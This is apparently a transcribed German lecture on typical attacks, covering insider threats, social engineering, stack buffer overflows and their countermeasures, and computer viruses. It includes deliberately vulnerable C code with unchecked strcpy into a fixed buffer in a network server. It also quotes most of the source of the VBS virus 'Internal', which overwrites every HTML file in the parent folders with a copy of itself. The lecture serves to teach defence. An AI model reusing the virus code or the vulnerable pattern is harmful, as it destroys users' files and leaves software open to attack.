2. Typische Angriffe
Transcription
2. Typische Angriffe
2. Typische Angriffe Wir befassen uns nun mit typischen Angriffen auf ein System, die versuchen, Schutzmechanismen zu umgehen. 1 2 Typische Angriffe nutzen Schwachstellen des Systems aus Implementierungsschwächen z.B. Buffer Overflows, werden ausgenutzt durch Exploits Nachlässigkeiten von Benutzern/ Sicherheitsadministratoren z.B. veraltete Virensoftware, schlecht gewählte Passwörter Schwachstellen, die für einen Angriff genutzt werden, beruhen beispielsweise auf Implementierungsfehlern der eingesetzten Software. Beispiele sind Buffer Overflows oder Format-String Schwachstellen. Die Ausnutzung solcher Schwachstellen lässt sich mit Hilfe entsprechender Programme oder Skripte (Exploits) weitgehend automatisieren. Dies ermöglicht beispielsweise auch die Erstellung von Würmern. Außerdem basieren viele Angriffe auf Nachlässigkeiten bei Benutzern bzw. Sicherheitsadministratoren (z.B. schlecht gewählte Passwörter, veraltete Virensoftware). 2 2 Typische Angriffe Interne Angriffe sind nicht zu unterschätzen Mitarbeiter missbrauchen ihre Rechte Studie InterGov (www.intergov.org) 2002: 80% der Angriffe von innen Studie des Computer Security Institute(CSI) und FBI 2003: ca. 50% der Angriffe von innen Angriffe kommen allerdings nicht nur von außen, d.h., das extern von nicht autorisierten Personen versucht wird in ein System einzudringen, sondern auch von innen, d.h., autorisierte Personen missbrauchen die ihnen gegebenen Rechte. Die Häufigkeit solcher internen Angriffe ist nicht zu unterschätzen, wie zwei Studien der InterGov und des CSI/FBI zeigen. Gegen diese internen Angriffe, bei denen Berechtigungen missbraucht werden, nützen dann auch die eingesetzten Schutzmechanismen nichts. 3 Hier ist eine Aufstellung aus dem Sicherheitsreport des CSI/FBI, die zeigt, dass etwa die Hälfte aller Angriffe von innen kommen. 4 2 Typische Angriffe Social engineering nicht technischer Angriff durch menschliche Unachtsamkeiten Passwort erfragen, über die Schulter sehen, im Müll suchen, usw. Neben Angriffen von innen bietet das Social Engineering die Möglichkeit, Schutzmechanismen ohne technischen Aufwand zu umgehen. Unter Social Engineering fällt beispielsweise das Erfragen von Passwörten unter Vorgabe falscher Tatsachen, das über die Schulter sehen bei der Passworteingabe, das Nachstöbern im Müll nach sicherheitsrelevanten Informationen und vieles erdenkliche mehr. 5 2.1 Buffer Overflows Buffer Overflows (Pufferüberläufe) Stellen die am häufigsten ausgebeutete Schwachstelle dar. Verursacht durch fehlende Längenüberprüfung bei Eingaben für Puffer mit statischer Länge. Arten von Buffer-Overflows: Stack-basiert Heap-basiert Buffer Overflows (Pufferüberläufe) stellen die in den letzten Jahren am häufigsten ausgebeutete Schwachstelle dar, ein System erfolgreich anzugreifen. Buffer Overflows treten auf, wenn ein Programm Puffer mit statischer Elementzahl ohne eine explizite Längenprüfung übergebener Daten (z.B. Benutzereingaben) verarbeitet. Reichen die für einen Puffer reservierten Bytes für Eingabedaten nicht aus, kommt es zu einem Überlauf des Puffers. Dabei werden die überzähligen Daten in Speicherbereiche geschrieben, welche sich jenseits des eigentlichen Puffers befinden. Dabei können beispielsweise sensitive Daten überschrieben werden. Es gibt mehrere Arten von Buffer Overflows, z.B. Stack-basierte Overflows oder Heap Overflows. 6 2.1 Buffer Overflows Stack Stack: Daten dynamischer lokaler Variablen und Funktionsparameter. dynamisch Heap:dynamische Datenstrukturen Heap Data Data: Daten initialisierter globaler Variablen Text Text: Programmanweisungen Prozessspeicherbereich Das Stack-Segment enthält die dynamischen lokalen Daten und Funktionsparameter. Dynamische lokale Variablen werden stets neu erzeugt, wenn die entsprechende Funktion, in der sie deklariert sind, aufgerufen wird. Sie werden zerstört, wenn die Funktion verlassen wird. Statische lokale Variablen werden im Daten-Bereich abgelegt. Das Heap-Segment enthält die Daten für dynamische Datenstrukturen. Dynamische Datenstrukturen werden erst zur Programmausführung erzeugt. In C werden solche Datenstrukturen mit den Bibliotheksfunktionen malloc angelegt und mit free wieder freigegeben. Das Data-Segment enthält die globalen Variablen. Globale Variablen können initialisiert, aber auch uninitialisiert sein. Im ersteren Fall werden die globalen Variablen im Data-Segment abgelegt, im zweiten Fall werden sie im BSS (Block Started by Symbol) Bereich abgelegt und mit einem Wert 0 vorinitialisiert. Das Text-Segment enthält alle Programmanweisungen, die von der CPU ausgeführt werden. Auf diesen Bereich kann nur lesend zugegriffen werden, um zu verhindern, dass der Prozess selbst seine Instruktionen modifiziert. 7 2.1 Buffer Overflows Stack-basierte Buffer Overflows – Nutzen Pufferüberläufe von Daten auf dem Stack – Lokale Parameter von Funktionen, Rücksprungadresse, aktuelle Parameter Wir befassen uns nun näher mit klassischen Stack-basierten Buffer Overflows. Lokale Variablen eines Prozesses sowie interne Verwaltungsinformation von Funktionsaufrufen (Rücksprungadresse, lokale Variablen, aktuelle Parameter) werden auf dem Stack abgelegt. Eine klassische Stack-basierte Buffer Overflow Schwachstelle entsteht, wenn eine auf dem Stack gesicherte Verwaltungsinformation modifiziert wird. Dabei wird ein lokaler Puffer mit statischer Elementgröße, welcher sich auf dem Stack befindet, durch benutzerdefinierte Eingaben überfüllt, so dass nachfolgende Stack-Bereiche überschrieben werden. 8 2.1 Buffer Overflows void function (char *args ){ char buff2[4] = “ABC“; char buff1[4]; strcpy(buff1,args); } int main( int argc, char *argv[]) { if (argc >1) function(argv[1]); else printf(“Kein Argument!“); } Parameter main argc, argv Rücksprungadr. aus main Parameter funct args Rücksprungadr. aus function lokale Variable buff2 lokale Variable buff1 Dies ist ein Beispiel einer Buffer Overflow-Schwachstelle. Der statische Puffer „buff1“ kann durch eine Zeichenkette, die länger als 4-Zeichen ist, zum Überlaufen gebracht werden. Da der Puffer „buff2“ auf dem Stack sofort dem Array „buff1“ folgt, wird „buff2“ durch die zu lange Eingabe für „buff1“ überschrieben. 9 2.1 Buffer Overflows Ein Server-Dienst... .... #define PORT 7777 void do_sth(char *str) { char buff[24]; strcpy(buff, str); printf("buff: %s\n", buff); } Ein etwas komplexeres Beispiel zeigt, wie man eine Denial-of-Service-Attacke mittels eines Buffer Overflows durchführen kann. Bei dem Programm handelt es sich um einen Server-Dienst, welcher auf Port 7777 auf entsprechende Anfragen lauscht. Wird eine Verbindung zu einem Dienst hergestellt, nimmt dieser eine benutzerdefinierte Eingabe entgegen, welche anschließend an die Unterfunktion do_sth weitergegeben wird. Innerhalb von do_sth wird die übergebene Eingabe in den Puffer buff kopiert. Da der Eingabe-String eine Länge von 64 Zeichen umfassen darf, der Puffer buff in do_sth jedoch lediglich 24 Elemente besitzt, kommt es zu einer klassischen Buffer-Overflow-Schwachstelle. 10 int main(int argc, char *argv[]) { char line[64]; .... // Server-Dienst konfigurieren for ( ; ; ) { connfd = accept( listenfd, (SA *) NULL, NULL); write( connfd, "Eingabe: ", 9); n = read( connfd, line, sizeof (line) -1 ); line[n] = 0; do_sth( line ); close( connfd ); } } 11 2.1 Buffer Overflows Gegenmaßnahmen StackGuard call fun() Funktions– Compilererweiterung für gcc Parameter fun() – Compiler fügt „Wächtercode“ Rücksprung(canaries) vor Rücksprungadresse Adresse aus fun() ein – Mehrere Techniken zur Canary Generierung des Canaries – Source-Code muss voranden sein lokale Variablen/ Puffer – Kein Schutz gegen Heap-Angriffe Der StackGuard Compiler (http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/) ist eine Erweiterung des gcc-Compilers. Der StackGuard Compiler fügt „Wächtercode“ (genannt canaries nach den Kanarienvögeln zum Warnen der Bergarbeiter) in den zu compilierenden Code ein, der dessen Funktionalität nicht beeinträchtigt. Dieser Wächtercode wird unmittelbar vor den Rücksprungadressen von Funktionen eingefügt. Die Idee ist, dass bei einem Exploit auch sämtliche Speicherstellen zwischen dem eigentlichen Überlaufpuffer und der Rücksprungadresse überschrieben werden. Sollte dieser Wächtercode (canary) bei einem Buffer Overflow geändert worden sein, wird dies gemeldet und das Programm gestoppt. Es gibt mehrere Techniken zur Generierung des canary (z.B. zufällig generiert auf Basis von /dev/urandom), die davor schützen sollen, dass ein Angreifer den Wert des canary erfährt. Bsp: int fun( int a, char* b) { char buff[24]; strcpy(buff, b); return 0;} Der Puffer „buff“ kommt auf den Stack und kann durch eine zu lange Eingabe für „b“ durch den Befehl „strcpy“ überlaufen. Um die Rücksprungadresse durch den Überlauf zu modifizieren, ändert sich auch das Canary. StackGuard bietet jedoch keinen umfassenden Schutz gegen Buffer Overflows, da sich der Schutz lediglich auf den Stack-Bereich des Prozessspeichers bezieht (nicht betrachtet werden beispielsweise Angriffe auf den Heap). Außerdem bleiben Angriffe unbemerkt, die die Speicheradressen vor dem ersten Canary modifizieren. 12 2.1 Buffer Overflows Gegenmaßnahmen Weitere Compiler-Erweiterungen – /GS-Option Microsoft • Visual C++.Net – StackShield (http://www.angelfire.com/sk/stackshield) – Stack Smashing Protection (SSP) http://www.trl.ibm.com/projects/security/ssp StackGuard ist eine von mehreren existierenden Compiler-Erweiterungen. So bietet Microsoft ein zum StackGuard vergleichbares Konzept für Visual C++.Net. StackShield und Stack Smashing Protection sind weitere Erweiterungen, die über StackGuard bzw. die /GS-Option hinausgehen. 13 2.1 Buffer Overflows Gegenmaßnahmen • Wrapper für unsichere Bibliotheksfunktionen • Libsafe http://www.research.avayalabs.com/project/libsafe • Wird zwischen Programmcode und Standard-C-Bibliothek geladen • Fängt unsichere Funktionen ab und ersetzt diese durch Alternativfunktionen • Probleme – behandeln von allen unsicheren Funktionen – Angriffe auf Heap – Denial-of-Service (Programm bricht bei Pufferüberlauf ab) Eine weitere Gegenmaßnahme gegen Buffer Overflows liegt in der Zuhilfenahme von Wrappern für unsichere Bibliotheksfunktionen (wie gets, strcpy, strcat, sprintf, vsprintf etc.). Eine entsprechende Implementierung ist Libsafe. Dabei handelt es sich um eine dynamisch ladbare Bibliothek, die stets zwischen dem eigentlichen Programmcode und der Standard-C-Bibliothek geladen wird. So wird Libsafe vor Ausführung der eigentlichen Funktionen der Standard-CBibliothek ausgeführt. Libsafe fängt alle potenziell unsicheren Funktionen ab und ersetzt diese durch Alternativfunktionen, die als sicherer betrachtet werden, da zusätzliche Überprüfungen hinsichtlich potenzieller Buffer Overflows durchgeführt werden. Wird ein Pufferüberlauf gefunden, wird das Programm gestoppt. Libsafe kann jedoch nicht alle Buffer Overflow Angriffe verhindern, da nur für eine begrenzte Menge von Funktionen Alternativfunktionen bereitgestellt werden, die Schutzmechanismen auf den Stackbereich des Prozessspeichers beschränkt sind und Denial-of-Service Angriffe weiterhin möglich sind, da das Programm bei der Entdeckung eines Buffer Overflows abgebrochen wird. 14 2.1 Buffer Overflows Gegenmaßnahmen Standard C Library Functions gets(3C) NAME gets, fgets - get a string from a stream SYNOPSIS #include <stdio.h> char *gets(char *s); char *fgets(char *s, int n, FILE *stream); DESCRIPTION The gets() function reads bytes from the standard input stream (see intro(3)), stdin, into the array pointed to by s, until a newline character is read or an end-offile condition is encountered. The newline character is discarded and the string is terminated with a null byte. If the length of an input line exceeds the size of s, indeterminate behavior may result. For this reason, it is strongly recommended that gets() be avoided in favor of fgets(). Beispiele unsicherer Funktionen der C-Bibliothek sind gets, strcpy, strcat, sprintf etc. Auf den Manual-Seiten dieser Funktionen sind die Schwächen einer nicht vorhandenen Längenüberprüfung für Felder dokumentiert. 15 2.1 Buffer Overflows Gegenmaßnahmen Standard C Library Functions string(3C) NAME string, strcasecmp, strncasecmp, strcat, strncat, strlcat, strchr, strrchr, strcmp, strncmp, strcpy, strncpy, strlcpy, strcspn, strspn, strdup, strlen, strpbrk, strstr, strtok, strtok_r - string operations DESCRIPTION The arguments s, s1, and s2 point to strings (arrays of characters terminated by a null character). The strcat(), strncat(), strlcat(), strcpy(), strncpy(), strlcpy(), strtok(), and strtok_r() functions all alter their first argument. These functions do not check for overflow of the array pointed to by the first argument. 16 2.1 Buffer Overflows Gegenmaßnahmen Standard C Library Functions printf(3C) NAME printf, fprintf, sprintf, snprintf - print formatted output DESCRIPTION The sprintf() function places output, followed by the null byte (\0), in consecutive bytes starting at s; it is the user's responsibility to ensure that enough storage is available. 17 2.1 Buffer Overflows Gegenmaßnahmen Modifikation der Prozessumgebung – Nicht ausführbarer (non-executable) Stack • Schädlicher Code kann nicht ausgeführt werden • Implementierungen: Solaris (64-Bit), OpenBSD 3.2, Linux( OpenWall, PaX) • Problem: – Vorhandener Code wird ausgenutzt – Code wird auf den Heap gelegt – Nicht ausführbarer (non-executable) Heap • Schädlicher Code kann nicht ausgeführt werden Das Ziel dieser Gegenmaßnahmen ist die Modifikation der Prozessumgebung, um die Ausnutzung von Buffer Overflows zu unterbinden. Eine Methode liegt darin, den Stack-Bereich des Prozessspeichers als nicht ausführbar (non-executable) zu kennzeichnen. So kann auf dem Stack eingeschleuster schädlicher Code nicht mehr ausgeführt werden. Es gibt einige Implementierungen: Alle Solaris-Plattformen auf 64-Bit Architekturen verwenden per Default einen als nicht-ausführbar konfigurierten Stack. Auch OpenBSD wird ab Version 3.2 mit einer non-executable-Funktionalität ausgeliefert. Unter Linux gibt es Implementierungen in Form von Kernel-Patches, beispielsweise OpenWall und PaX. Ein nicht ausführbarer Stack verhindert jedoch noch nicht die Ausnutzung von Buffer Overflows, da zum einen vorhandener Code für einen Angriff ausgenutzt werden kann oder der schädliche Code auf dem Heap zur Ausführung gebracht werden könnte. Daher ist eine weitere Maßnahme, auch den Heap als nicht-ausführbar zu deklarieren. Aber auch dann gibt es Möglichkeiten, Buffer Overflows auszunutzen, die hier aber nicht beschrieben werden. 18 2.1 Buffer Overflows PaX: ein Patch für den Linux-Kernel – http://pax.grsecurity.net/ – Nicht-ausführbarer Stack und Heap – Zufällig gewählte Adressbereiche (Address Space Layout Randomization) – Probleme: Stabilität und Performance Eine Implementierung von Speicherschutz gegen Buffer Overflows für Linux ist PaX (http://pax.grsecurity.net/). PaX bietet einen nicht-ausführbaren Stack und Heap. Zudem hat PaX einen weiteren Schutz gegen Buffer Overflows: das Generieren von zufälligen Speicheradressen bei jedem Ausführen des Programms. Dadurch ist es nicht möglich mit einem Core-Dump die Adressen auszulesen, um diese dann für den eingeschleusten Code zu benutzen. 19 2.2 Viren, Würmer und Trojaner Viren Infizieren zuvor korrekte Wirtsprogramme und machen sie damit potentiell zu Schadprogrammen, die transitiv weitere Programme infizieren. Würmer Programm, dass sich über das Netz fortpflanzt – entweder selbsttätig oder als Anhängsel von E-mails – und nach Belieben Unheil anrichtet. Trojanische Pferde Programm tut, was der Benutzer erwartet, aber insgeheim noch anderes. Viren, Würmer und Trojanische Pferde bilden weitere wichtige Klassen von Attacken auf ein ITSystem . Viren benötigen immer ein Wirtsprogramm zur Ausführung des Virus-Codes. Die Ausführung des Virus bewirkt, dass eine Kopie (Reproduktion) in einen noch nicht infizierten Speicherbereich geschrieben wird. Zusätzlich zur Reproduktion enthalten Viren oft einen Schadensteil. Würmer sind die Weiterentwicklung von Viren im Zeitalter des Internets. Sie können sich selbst aktiv über ein Netzwerk ausbreiten und brauchen, im Gegensatz zu Viren, keinen Wirt. Ein Trojanisches Pferd täuscht eine Funktionalität vor, die darüberhinaus aber auch eine verborgene, bedrohliche Funktionalität besitzt. Trojaner verfügen in der Regel nicht über eine Infektionsfunktion und müssen daher gezielt auf den Rechner eines Opfers gebracht werden. Dann erlauben sie einem Angreifer einen Zugriff auf Informationen und Funktionen des Zielrechners. 20 2.2 Viren, Würmer und Trojaner 1997 1998 Bevor wir uns Viren, Würmer und Trojaner genauer ansehen, zeigen die folgenden Folien die Verteilung der Virenmeldungen an das Bundesamt für Systemsicherheit (BSI) in den Jahren 1997 – 2002. 21 2.2 Viren, Würmer und Trojaner 1999 2000 22 2.2 Viren, Würmer und Trojaner 2001 2002 23 2.2.1 Computer Viren Fred Cohen, Computer Viruses - Theory and Experiments, 1984 Eine nicht selbständige Programmroutine, die sich selbst reproduziert und dadurch vom Anwender nicht kontrollierbare Manipulationen in Systembereichen, an anderen Programmen oder deren Umgebung vornimmt. Computer-Viren gehören zu den Programmen mit Schadensfunktionen. Als Schaden ist hier insbesondere der Verlust oder die Verfälschung von Daten oder Programmen sicherlich von größter Tragweite. Solche Funktionen von Programmen können sowohl unbeabsichtigt als auch bewusst gesteuert auftreten. Ein Computer-Virus ist eine nicht selbständige Programmroutine, die sich selbst reproduziert und dadurch vom Anwender nicht kontrollierbare Manipulationen in Systembereichen, an anderen Programmen oder deren Umgebung vornimmt. Die Eigenschaft der Reproduktion führte in Analogie zum biologischen Vorbild zu der Bezeichnung "Virus". Die Möglichkeiten der Manipulation sind sehr vielfältig. Besonders häufig sind das Überschreiben oder das Anlagern des Virus-Codes an andere Programme und Bereiche des Betriebssystems, wobei dies immer so geschieht, dass zunächst der Virus-Code und dann erst das ursprüngliche Programm ausgeführt wird. Der Computervirus wird zwanzig Jahre alt :: 11:53:36 Artikel in astalavista.ch vom 14.11.2003 Fred Cohen setzte im November 1983 den ersten digitalen Übeltäter in Umlauf Vor zwanzig Jahren erblickte der erste Computervirus offiziell das Licht der Öffentlichkeit. Der Student Fred Cohen präsentierte an der University Southern California nach einer Woche Entwicklungsarbeit am 10. November 1983 das Ergebnis seines Experiments: den ersten Virus auf einem Unix-System. Seinen Namen bekam das kleine Programm, da es ähnlich wie das biologische Virus seine Umgebung verändert und sich weiter vermehren kann. .... 24 2.2.1 Computer Viren Aufbau eines Computer-Virus Reproduktions- /Infektionsteil Mit diesem Programmteil wird die Vermehrung des Virus durchgeführt. Erkennungsteil Hier wird geprüft, ob bereits die Infektion eines Programms oder Systembereichs bereits erfolgte. Schadensteil (payload) Enthält die Schadensfunktion Der allgemeine Aufbau eines Computer-Virus ist wie folgt: Im Reproduktionsteil bzw. Infektionsteil wird die Vermehrung des Virus durchgeführt. Potentielle Speicherbereiche für Viren sind der Code ausführbarer Programme von Benutzern, Bereiche des Betriebssystems oder Sektoren eines Hintergrundspeichermediums. Im Erkennungsteil wird geprüft, ob bereits die Infektion eines Programms oder Systembereichs erfolgte. Die Verbreitung wird beschleunigt, wenn das Virus auf eine Infektion "verzichten" kann, weil sie bereits geschehen ist. Jedes Wirts-Programm wird daher nur einmal infiziert. Die Entdeckung wird damit auch verzögert, da durch mehrfache Anlagerung des Virus-Codes die Dateien sonst so groß werden, dass sie entweder nicht mehr ausführbar sind oder aber dem Benutzer die Größenänderung schneller auffällt. Schadensteil (payload) In einigen Viren ist absichtlich eine Schadensfunktion programmiert, meist das Überschreiben oder Verändern von Programmen oder Daten, oder aber auch nur die Ausgabe von Meldungen und Geräuschen auf dem Rechner. Dieser Programmteil kann fehlen, aber auf jeden Fall entsteht Schaden durch Inanspruchnahme von Speicherplatz im Hauptspeicher und auf Datenträgern. Durch Programmierfehler, Veränderungen des Betriebssystems oder ähnliches können weitere Schäden als Nebeneffekte auch dann auftreten, wenn sie nicht absichtlich programmiert sind 25 2.2.1 Computer Viren Bedingungsteil enthält Bedingungen für die Verbreitung und die Schadensfunktion Tarnungsteil Erschwert die Entdeckung des Virus, z.B. polymorphe Viren. Sowohl die Verbreitung als auch die Schadensfunktion können von Bedingungen abhängig programmiert sein, z.B. tritt bei einigen Viren der Schaden an einem bestimmten Datum oder bei einer bestimmten Anzahl von Aufrufen ein. Diese Bedingungen sind im Bedingungsteil enthalten. Auch dieser Teil kann fehlen. Tarnungsteil Hierunter fallen Programmroutinen, um die Entdeckung des Virus im infizierten System zu erschweren. Dieser Teil ist meist nur bei neueren Viren zu finden. Beispiele sind Stealthoder polymorphe Viren. 26 2.2.1 Computer Viren program virus:= {1234567; subroutine infect-executable:= {loop:file = get-random-executable-file; if first-line-of-file = 1234567 then goto loop; add virus to file; } subroutine do-damage:= {whatever damage is to be done} subroutine trigger-pulled:= {return true if some condition holds} main-program:= {infect-executable; if trigger-pulled then do-damage;} Ein (abstraktes) Beispiel eines Virus zeigt der Pseudo-Code dieser Folie. Die Nummer 1234567 ist der Erkennungsteil, an dem ein bereits infiziertes Wirtsprogramm erkannt wird. Der Beispielvirus infiziert in infect-executable ausf_hrbare Dateien. Sollte die ausf_hrbare Datei schon infiziert sein, so wird nach einer weiteren uninfizierten Datei gesucht. Nachdem das Programm infiziert wurde, wird der Schadensteil do-damage ausgef_hrt, falls der Bedingungsteil trigger-pulled erf_llt ist. Sp_ter werden wir uns einen konkreten Virus genau ansehen. 27 2.2.1 Computer Viren Typische Programmstruktur im Binärcode (vereinfacht) 0 1 JUMP START 0 1 START START 4710 4710 4711 JUMP 4711 Virus JUMP START Anhängen Es gibt verschiedene Arten, wie ein Virus seinen Code in einer Datei platzieren kann: 1. Anhängen: Der Virencode wird ans Ende der Datei angehängt. Eine Sprunganweisung zu Beginn des Programms sorgt für eine Verzweigung zum Virencode. Nach dem Virencode springt das Programm wieder zurück zum regulären Anfang des Programms. Nachteil dieser Methode ist der Zuwachs bei der Dateigröße. Außerdem kann der Virencode am Ende des Programms leicht von Anti-Viren-Programmen gefunden werden. 28 2.2.1 Computer Viren Typische Programmstruktur im Binärcode (vereinfacht) 1 START 1000 JUMP START Virus 4710 0 1 START JUMP START Virus 4710 5710 Voranstellen Überschreiben 2. Einfügen am Anfang: Der Virencode wird direkt an den Anfang der Programmdatei gestellt. Bei jedem Aufruf der Datei wird dann zunächst der Virencode ausgeführt, bevor das eigentliche Programm beginnt. Das Einfügen am Anfang ist jedoch komplizierter als das Anhängen, da die Header-Struktur der Datei verändert werden muss. Auch hier wächst die Dateigröße. 3. Überschreiben: Programmcode wird durch den Virencode überschrieben. Dadurch verändert sich die Dateigröße nicht. Allerdings birgt ein Überschreiben das Risiko, den Programmcode zu beschädigen. Daher suchen die Viren nach Nullbytes in einer Datei und schreiben sich dorthin. Um den Virencode beim Aufruf des Programms zur Ausführung zu bringen, muss das Programm analysiert werden, um Einstiegspunkte zu finden oder man platziert direkt am Anfang des Programms einen Verweis auf den Virencode. 29 2.2.1 Computer Viren Maßnahmen von Viren, um unentdeckt zu bleiben – Stealth-Viren • Lieber große Dateien als kleine, da Größenänderung weniger auffällig • Einklinken in den Überwachungsprozess von Viren, z.B. Anti-Viren-Software: Verwischen von Spuren oder Vorspielen falscher Informationen. – Polymorphe Viren • Selbstveränderung des Viren-Codes – Retro-Viren • Bekämpfen aktiv Anti-Viren-Programme Um von Anti-Viren-Software nicht entdeckt zu werden, haben Viren eine Reihe von Maßnahmen, um unentdeckt zu bleiben. Stealth-Viren: Stealth-Viren entwickeln spezielle Techniken, um sich vor Antiviren-Programmen zu verstecken. Eine einfache Tarnmaßnahme besteht darin, sich lieber an große Dateien zu hängen, da dort der Größenzuwachs weniger auffällt. Eine weitere Möglichkeit ist das Einklinken in den Überwachungsprozess von Viren. Der Stealth-Virus installiert sich dazu in den Arbeitsspeicher und überwacht die Überwachungsfunktionen für Viren. Startet eine Überwachungsfunktion (z.B. Anti-Viren-Programm), manipuliert der Virus die Betriebssystemfunktionen und verwischt seine Spuren, bevor die Überwachungsfunktion ausgeführt wird. Nach Beendigung der Überwachungsfunktion, werden die Tarnmaßnahmen wieder rückgängig gemacht und der Virus arbeitet weiter. Ein Beispiel ist das Bootsektorvirus Ripper, das beim ersten Infizieren eines Datenträgers eine Kopie des nicht-infizierten Bootsektors anlegt, bevor das Virus sich selbst in den Bootsektor kopiert. Versucht ein Programm, den Bootsektor zu prüfen, täuscht das Virus das Programm mit der originalen nicht-infizierten Kopie. Polymorphe Viren: Viren haben einen bestimmten Binärcode, beinhalten also eine bestimmte Byte-Reihenfolge, die von Anti-Viren-Programmen gesucht werden, um Viren zu entdecken. Polymorphe Viren verändern in regelmäßigen Abständen (z.B. bei jeder 10. Infektion) ihre ByteReihenfolge mittels eines Mutationsalgorithmuses. Eine einfache Möglichkeit bei auf VBS basierenden Viren ist die Variation von Leerzeichen, Ändern von Klein- und Großschreibung, da dies für den VBS-Interpreter keinen Unterschied macht. Retro-Viren: Retro-Viren werden unmittelbar gegen Anti-Viren-Programme eingesetzt. Diese Viren beschädigen oder löschen Dateien des Anti-Viren-Programms oder speicherresidente AntiViren-Programme werden „abgeschossen“ oder deren Start verhindert. 30 2.2.1 Computer Viren Arten von Viren – Datei-Viren (File-Viren) • Infizieren ausführbare Dateien – Boot-Viren • Infizieren den Boot-Sektor der Platte/Diskette – Multipartite-Viren (File+Boot) • Infizieren ausführbare Dateien und Boot-Sektoren – Makro-Viren • Nutzen leistungsfähige Skriptsprache aus • Infizieren Daten/Skripte, die von Interpretierern aufbereitet bzw. ausgeführt werden. Man unterscheidet eine Reihe unterschiedlicher Virenarten: Datei-Virus Datei-Viren lagern sich an Programmdateien an. Dies geschieht so, dass beim Aufruf der VirusCode zuerst ausgeführt wird und erst anschließend das originale Programm. Dadurch läuft das Programm anschließend wie gewohnt und der Virus wird nicht so schnell entdeckt. Es sind jedoch auch primitivere, überschreibende Viren bekannt, die sich so an den Anfang des Wirts-Programms setzen, dass dies nicht mehr fehlerfrei läuft. Boot-Virus Beim Booten werden u. a. Programmteile ausgeführt, die zwar eigenständig sind, sich aber in sonst nicht zugänglichen und im Inhaltsverzeichnis der Disketten und Festplatten nicht sichtbaren Sektoren befinden. Boot-Viren überschreiben den Boot- oder Partition-Sektor mit ihrem Programm. Der originale Inhalt wird an eine andere Stelle auf dem Datenträger verlagert und dann beim Start des Computers anschließend an den Virus-Code ausgeführt. Dadurch startet der Computer scheinbar wie gewohnt. Der Boot-Virus gelangt jedoch bereits vor dem Laden des Betriebssystems in den Arbeitsspeicher des Computers und verbleibt dort während der gesamten Betriebszeit. Er kann deshalb den Boot-Sektor jeder nicht schreibgeschützten Diskette infizieren, die während des Rechnerbetriebs benutzt wird, und sich auf diese Weise auf andere Computer übertragen. Multipartite-Viren Sind eine Kombination aus Datei- und Boot-Viren. Makro-Viren Machen sich zunutze, dass weitverbreitete Office-Anwendungen, insbesondere die von Microsoft, über eine leistungsfähige Skriptsprache zum Automatisieren von Abläufen verfügen. Makros erledigen häufig benötigte Steuerungsaufgaben, die beim Zugriff auf die Datei durch das zugehörige Programm automatisch ausgeführt werden. Makro-Viren infizieren Daten und Skripte, die dann vom Interpretierer ausgeführt werden. 31 2.2.1 Computer Viren Makro-Viren – anwendungsspezifisch – Liegen im Quelltext vor – Visual Basic Script (VBS) • Wird vom Windows Scripting Host (WSH) ausgeführt • VBS-Viren können auf die Daten mehrerer Anwendungen zugreifen • Bietet Zugang zum Dateisystem und Lese- und Schreibzugriffe in die Registry. Makroviren sind im Gegensatz zu binären Computer-Viren nicht hardware- sondern anwendungsspezifisch. Die Voraussetzung für ihren Erfolg ist das Vorhandensein einer bestimmten Anwendung. Makro- und Skriptviren liegen im Quelltext vor, der relativ gut lesbar und analysierbar. Dadurch können sie leichter von „Trittbrettfahrern“ modifiziert werden, um neue Viren zu erzeugen. Eine oft benutzte Makrosprache für Viren ist Visual Basic Script (VBS), die vom Windows Scripting Host (WSH) ausgeführt wird. Dadurch sind VBS-Viren nicht mehr an eine Anwendung gebunden, es genügt wenn der WHS auf dem Rechner installiert ist. Damit sind VBS-Viren nicht für eine Anwendung spezialisiert und können auf Daten aller Anwendungen zugreifen, z.B. das Adressbuch von Outlook, das von VBS-Würmern genutzt wird, um sich selbst per E-Mail zu verbreiten. 32 2.2.1 Computer Viren Beispiel: VBS-Virus Internal – Überschreibt alle .htm und .html Dateien im lokalen Verzeichnis und allen darüberliegenden Ordnern durch eine Kopie seiner selbst. – VBS-Skript ist in eine Webseite eingebettet • <body OnLoad=“CheckIt();“> • Beim Laden der Webseite wird das VBS.Skript aufgerufen Wir sehen uns nun ein Makro-Virus genauer an. Es handelt sich um das VBS-Virus Internal, welches HTML-Seiten befällt. Das VBS-Skript des Virus ist in eine Webseite eingebettet und überschreibt alle .htm bzw. .html Seiten des lokalen Verzeichnisses und allen darüber liegenden Ordnern. Das Virus ist eine HTML-Datei, bei deren Aufruf das VBS-Skript ausgeführt wird. Mittels des Events OnLoad wird beim Laden der Webseite die VBS-Funktion mit dem viralen Code aufgerufen. 33 2.2.1 Computer Viren <script language=“VBScript“> <! - Sub CheckIt If location.protocol = “file:“ then Call IsFile End Sub Virus tritt nur in Aktion, wenn das Dokument lokal auf der Festplatte liegt Das Skript überprüft zunächst den Protokolltyp der Webseite. Nur wenn es sich um den Protokollbezeichner file handelt, das Dokument also lokal auf der Platte liegt, tritt das Virus in Aktion. 34 2.2.1 Computer Viren erzeuge Dateisystemobjekt zum Zugriff aufs Dateisystem Set fso = CreateObject(“Script.FileSystemObject“) erzeuge Windows-Verzeichnispfad HostPath=Replace(location.href, file:///, ““) HostPath=Replace(HostPath, “/“, “\“) Vaterverzeichnis des aktuellen Verzeichnisses cpath = fso.GetParentFolderName(HostPath) Set folder = fso.GetFolder(cpath) Die eigentliche Infektion beginnt mit dem Erzeugen eines Dateisystemobjektes fso, über das der Zugriff auf das lokale Dateisystem erfolgt. Danach wird der lokale Pfad des HTML-Dokumentes so verändert, dass er als Verzeichnisangabe benutzt werden kann (entfernen des Protokollbezeichners file und Windows-Schrägstriche benutzen). Die Variable HostPath ist dann der Pfad des Virus-HTML-Dokuments. Dann wird das übergeordnete Verzeichnis zum aktuellen Verzeichnis ermittelt. Für den Zugriff auf dieses Verzeichnis wird ein Verzeichnisobjekt erstellt und in der Variable folder gespeichert. 35 2.2.1 Computer Viren While folder.IsRootFolder = false Set folder = fso.GetFolder(cpath) Set fc = folder.Files cpath = fso.GetParentFolderName(cpath) For each f1 in fc s = fso.GetExtensionName(f1.name) if f1.path <> HostPath then if s = “htm“ pr s = “html“ then fso.CopyFile HostPath, f1.path End If Wend ... --> </script> Danach wird die zentrale Schleife ausgeführt, die bei Erreichen des Wurzelverzeichnisses abgebrochen wird. Für jedes Verzeichnis werden die Dateien und Verzeichnisse und deren Dateityp ermittelt. Handelt es sich um eine Datei des Typs htm oder html, wird diese mit einer Kopie des Virendokumentes überschrieben (falls dies nicht schon geschah). Sind alle Dateien des Verzeichnisses 